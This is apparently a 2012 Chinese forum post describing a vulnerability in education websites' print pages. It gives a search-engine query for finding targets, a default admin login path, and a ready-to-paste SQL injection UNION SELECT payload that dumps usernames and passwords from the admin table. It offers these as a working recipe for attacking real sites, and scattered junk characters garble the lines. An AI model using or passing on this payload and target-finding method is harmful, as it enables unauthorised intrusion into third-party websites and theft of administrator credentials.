教育站打印页面漏洞( K. T3 F" a6 ]4 {! t1 I
百度或google搜索 inurl:info_Print.asp?ArticleID=
- X' e( v# k2 v. S8 h) O5 S' M z默认后台：/ad_login.asp
# [! I' @: P! y: C; y- m% l, @* @爆管理员密码：
$ z F2 s0 [ i) r( E" a在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可7 Q* ^9 ~9 R0 b% Y% {, n. L7 q' Z. H
5 a9 ?2 U- |9 j: ~6 Qunion select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
. R7 ]; A& c6 D5 w# m8 d/ `6 h4 M$ z O& Q
作者：佚名 ( @/ b: M+ k1 t$ S! \4 v/ ]
# S" @8 R& b+ @( g' D8 ?& u
* A& d+ A) F% K, J( W% [& l) w4 ]: f8 e |
发表于 2012-10-31 08:37:31
收藏
支持
反对